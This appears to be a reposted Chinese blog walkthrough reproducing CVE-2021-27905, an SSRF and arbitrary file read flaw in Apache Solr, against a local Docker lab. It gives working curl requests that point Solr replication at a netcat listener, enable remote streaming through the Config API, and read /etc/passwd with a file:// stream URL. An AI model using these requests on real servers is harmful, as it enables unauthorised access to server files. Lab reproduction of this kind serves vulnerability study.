Apache Solr CVE-2021-27905 漏洞复现
作者:互联网
描述
Apache Solr是一个开源的搜索服务,使用 Java 编写、运行在 Servlet 容器的一个独立的全文搜索服务器,是 Apache Lucene 项目的开源企业搜索平台。
该漏洞是由于没有对输入的内容进行校验,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行SSRF攻击,最终造成任意读取服务器上的文件。
影响范围:Apache Solr <= 8.8.2
限制:Solr 必须配置主从模式;受影响的是从(slave)服务器
环境复现
- KALI :192.168.3.137
Docker 基础环境搭建
镜像下载
$ docker search vulfocus/solr-cve_2021_27905
NAME DESCRIPTION STARS OFFICIAL AUTOMATED
vulfocus/solr-cve_2021_27905 0
$ docker pull vulfocus/solr-cve_2021_27905
容器搭建
$ docker create -p 5000:8983 --name cve_2021_27905 0890d82aadb5
$ docker start cve_2021_27905
Solr 环境配置
浏览器访问 http://localhost:5000
,进入 Core Admin
,点击 Add Core
。
点击 Add Core
会发生错误。
根据错误提示里的 new_core
路径,将solr-8.2.0/server/solr/configsets/_default/conf
文件夹下的内容复制到 new_core
下。
$ cp -r /opt/solr-8.2.0/server/solr/configsets/_default/conf /var/solr/data/new_core
再次进入网页,点击 Add Core
,即可创建成功。
环境搭建完成。
漏洞复现
POC验证
通过访问如下链接,可以看到当前的Core名称。
http://localhost:5000/solr/admin/cores?indexInfo=false&wt=json
然后监听本地端口。
$ nclvp 6666
再根据刚获得的Core名称,访问如下链接,即可看到反弹信息。
http://localhost:5000/solr/new_core/replication?command=fetchindex&masterUrl=http://192.168.3.137:6666
$ curl "http://localhost:5000/solr/new_core/replication?command=fetchindex&masterUrl=http://192.168.3.137:6666"
漏洞利用
结合刚获得的Core名称,访问如下链接,可得到以下该界面。
http://localhost:5000/solr/new_core/config
默认情况下,requestDispatcher.requestParsers.enableRemoteStreaming
是关闭的。
因此,首先利用 Config API
打开默认关闭的requestDispatcher.requestParsers.enableRemoteStreaming
开关。
$ curl -i -s -k -X 'POST' -H 'Content-Type: application/json' --data-binary '{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://192.168.3.137:5000/solr/new_core/config
curl
-i 查看header头信息
-s 不输出统计信息
-k 使用能忽略证书不受信问题
-X 指定POST请求
-H 添加http请求的标头
-d 用于发送post请求的数据体
这就便可以进行远程任意文件读取了。
如利用 file协议
获得账户信息:
$ curl -i -s -k 'http://192.168.3.137:5000/solr/new_core/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'
标签:core,5000,http,Core,27905,2021,Apache,new,solr 来源: https://www.cnblogs.com/Zerimon/p/16375923.html